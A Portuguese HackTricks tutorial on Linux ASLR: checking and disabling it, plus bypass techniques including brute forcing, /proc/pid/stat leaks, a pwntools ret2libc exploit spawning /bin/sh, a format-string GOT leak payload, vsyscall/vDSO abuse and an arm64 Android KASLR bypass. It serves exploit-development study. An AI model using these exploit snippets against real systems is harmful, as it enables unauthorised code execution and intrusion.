ASLR

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

Address Space Layout Randomization (ASLR) é uma técnica de segurança usada em sistemas operacionais para randomizar os endereços de memória usados por processos do sistema e aplicações. Ao fazer isso, torna significativamente mais difícil para um atacante prever a localização de processos e dados específicos, como the stack, heap, and libraries, mitigando certos tipos de exploits, particularmente buffer overflows.

Verificando o status do ASLR

Para verificar o status do ASLR em um sistema Linux, você pode ler o valor do arquivo /proc/sys/kernel/randomize_va_space. O valor armazenado neste arquivo determina o tipo de ASLR aplicado:

  • 0: Sem randomização. Tudo é estático.
  • 1: Randomização conservadora. Shared libraries, stack, mmap(), VDSO page são randomizados.
  • 2: Randomização completa. Além dos elementos randomizados pela randomização conservadora, a memória gerenciada por brk() é randomizada.

Você pode verificar o status do ASLR com o seguinte comando:

cat /proc/sys/kernel/randomize_va_space

Desativando ASLR

Para desativar o ASLR, defina o valor de /proc/sys/kernel/randomize_va_space como 0. Desativar o ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Veja como desativá-lo:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Você também pode desativar o ASLR para uma execução com:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Ativando ASLR

Para ativar ASLR, você pode escrever o valor 2 no arquivo /proc/sys/kernel/randomize_va_space. Isso normalmente requer privilégios de root. A ativação da randomização completa pode ser feita com o seguinte comando:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Persistência entre reinicializações

As alterações feitas com os comandos echo são temporárias e serão redefinidas após uma reinicialização. Para tornar a alteração persistente, você precisa editar o arquivo /etc/sysctl.conf e adicionar ou modificar a seguinte linha:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Depois de editar /etc/sysctl.conf, aplique as alterações com:

sudo sysctl -p

Isto garantirá que suas configurações de ASLR permaneçam após reboots.

Bypasses

32bit brute-forcing

PaX divide o espaço de endereçamento do processo em 3 grupos:

  • Code and data (initialized and uninitialized): .text, .data, and .bss —> 16 bits de entropia na variável delta_exec. Essa variável é inicializada aleatoriamente a cada processo e adicionada aos endereços iniciais.
  • Memory alocada por mmap() e bibliotecas compartilhadas —> 16 bits, chamada delta_mmap.
  • The stack —> 24 bits, referida como delta_stack. Contudo, efetivamente usa 11 bits (do 10º ao 20º byte inclusive), alinhada a 16 bytes —> Isso resulta em 524,288 possible real stack addresses.

Os dados anteriores são para sistemas 32-bit e a entropia final reduzida torna possível contornar ASLR repetindo a execução várias vezes até que o exploit seja bem-sucedido.

Brute-force ideas:

  • Se você tiver um overflow grande o suficiente para hospedar um big NOP sled before the shellcode, você poderia simplesmente brute-force endereços na stack até que o fluxo pule alguma parte do NOP sled.
  • Outra opção, caso o overflow não seja tão grande e o exploit possa ser executado localmente, é possível adicionar o NOP sled e o shellcode em uma environment variable.
  • Se o exploit for local, você pode tentar brute-force o endereço base do libc (útil para sistemas 32bit):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Se estiver atacando um servidor remoto, você pode tentar brute-force do endereço da função libc usleep, passando como argumento 10 (por exemplo). Se em algum momento o servidor demorar 10s a mais para responder, você encontrou o endereço dessa função.

Tip

Em sistemas 64 bits a entropia é muito maior e isso não deve ser possível.

64 bits stack brute-forcing

É possível ocupar uma grande parte da stack com env variables e depois tentar abusar do binary centenas/milhares de vezes localmente para explorá-lo.
O código a seguir mostra como é possível apenas selecionar um endereço na stack e a cada algumas centenas de execuções esse endereço conterá a NOP instruction:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Detecção brute-force de NOPs na stack em Python ```python import subprocess import traceback

Start the process

nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops

Define the environment variables you want to set

env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }

cont = 0 while True: cont += 1

if cont % 10000 == 0: break

print(cont, end=“\r”)

Define the path to your binary

binary_path = ‘./aslr-testing’

try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass

</details>

<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>

### Informação Local (`/proc/[pid]/stat`)

O arquivo **`/proc/[pid]/stat`** de um processo é sempre legível por todos e ele **contém informações interessantes** tais como:

- **startcode** & **endcode**: Endereços acima e abaixo relacionados ao **TEXT** do binário
- **startstack**: O endereço do início da **stack**
- **start_data** & **end_data**: Endereços acima e abaixo onde está a **BSS**
- **kstkesp** & **kstkeip**: Endereços atuais de **ESP** e **EIP**
- **arg_start** & **arg_end**: Endereços acima e abaixo onde estão os **cli arguments**.
- **env_start** &**env_end**: Endereços acima e abaixo onde estão as **env variables**.

Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e esse binário não espera o overflow a partir de argumentos brutos, mas de uma diferente **entrada que pode ser criada após ler este arquivo**. É possível para um atacante **obter alguns endereços deste arquivo e construir offsets a partir deles para o exploit**.

> [!TIP]
> Para mais informações sobre este arquivo consulte [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) procurando por `/proc/pid/stat`

### Tendo um leak

- **O desafio fornece um leak**

Se você recebe um leak (desafios CTF fáceis), você pode calcular offsets a partir dele (supondo, por exemplo, que você conheça a versão exata da libc usada no sistema que está explorando). Este exploit de exemplo é extraído de [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (verifique essa página para mais detalhes):

<details>
<summary>Python exploit with given libc leak</summary>
```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Abusando de um buffer overflow, seria possível explorar um ret2plt para exfiltrate o endereço de uma função da libc. Confira:

Ret2plt

  • Format Strings Arbitrary Read

Assim como no ret2plt, se você tiver um arbitrary read via uma format strings vulnerability é possível exfiltrate o endereço de uma libc function do GOT. The following example is from here:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Você pode encontrar mais informações sobre Format Strings arbitrary read em:

Format Strings

Ret2ret & Ret2pop

Tente contornar o ASLR abusando de endereços dentro da stack:

Ret2ret & Reo2pop

vsyscall

O mecanismo vsyscall serve para melhorar o desempenho ao permitir que certas system calls sejam executadas em user space, embora sejam fundamentalmente parte do kernel. A vantagem crítica das vsyscalls está nos seus endereços fixos, que não estão sujeitos ao ASLR (Address Space Layout Randomization). Essa natureza fixa significa que atacantes não precisam de uma vulnerabilidade de information leak para determinar seus endereços e usá-los em um exploit.
No entanto, não se encontrarão gadgets muito interessantes aqui (embora, por exemplo, seja possível obter um equivalente a ret;)

(The following example and code is from this writeup)

For instance, an attacker might use the address 0xffffffffff600800 within an exploit. While attempting to jump directly to a ret instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a syscall provided by the vsyscall section can prove successful. By carefully placing a ROP gadget that leads execution to this vsyscall address, an attacker can achieve code execution without needing to bypass ASLR for this part of the exploit.

Exemplo de vmmap/vsyscall e busca de gadgets ```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g 
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
```

vDSO

Observe, portanto, como pode ser possível bypass ASLR abusing the vdso se o kernel for compilado com CONFIG_COMPAT_VDSO, pois o endereço do vdso não será randomizado. Para mais informações, consulte:

Ret2vDSO

KASLR on ARM64 (Android): bypass via fixed linear map

Em muitos kernels arm64 Android a base do kernel linear map (direct map) é fixa entre boots. As Kernel VAs para páginas físicas tornam-se previsíveis, quebrando KASLR para alvos acessíveis via o direct map.

  • For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
  • PAGE_OFFSET = 0xffffff8000000000
  • PHYS_OFFSET = memstart_addr (exported symbol)
  • Translation: virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)

Leaking PHYS_OFFSET (rooted or with a kernel read primitive)

  • grep memstart /proc/kallsyms para encontrar memstart_addr
  • Leia 8 bytes nesse endereço (LE) usando qualquer kernel read (p.ex., tracing-BPF helper chamando BPF_FUNC_probe_read_kernel)
  • Calcule as direct-map VAs: virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)

Exploitation impact

  • Não é necessário um KASLR leak separado se o alvo estiver em/acessível via o direct map (p.ex., page tables, kernel objects em páginas físicas que você pode influenciar/observar).
  • Simplifica R/W arbitrário confiável e o direcionamento de dados do kernel em arm64 Android.

Reproduction summary

  1. grep memstart /proc/kallsyms -> endereço de memstart_addr
  2. Kernel read -> decodificar 8 bytes LE -> PHYS_OFFSET
  3. Use virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET) com PAGE_OFFSET=0xffffff8000000000

Note

O acesso aos tracing-BPF helpers requer privilégios suficientes; qualquer kernel read primitive ou info leak é suficiente para obter PHYS_OFFSET.

How it’s fixed

  • Espaço de VA do kernel limitado mais CONFIG_MEMORY_HOTPLUG reserva VA para hotplug futuro, empurrando o linear map para o menor VA (base fixa).
  • Upstream arm64 removeu a randomização do linear-map (commit 1db780bafa4c).

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks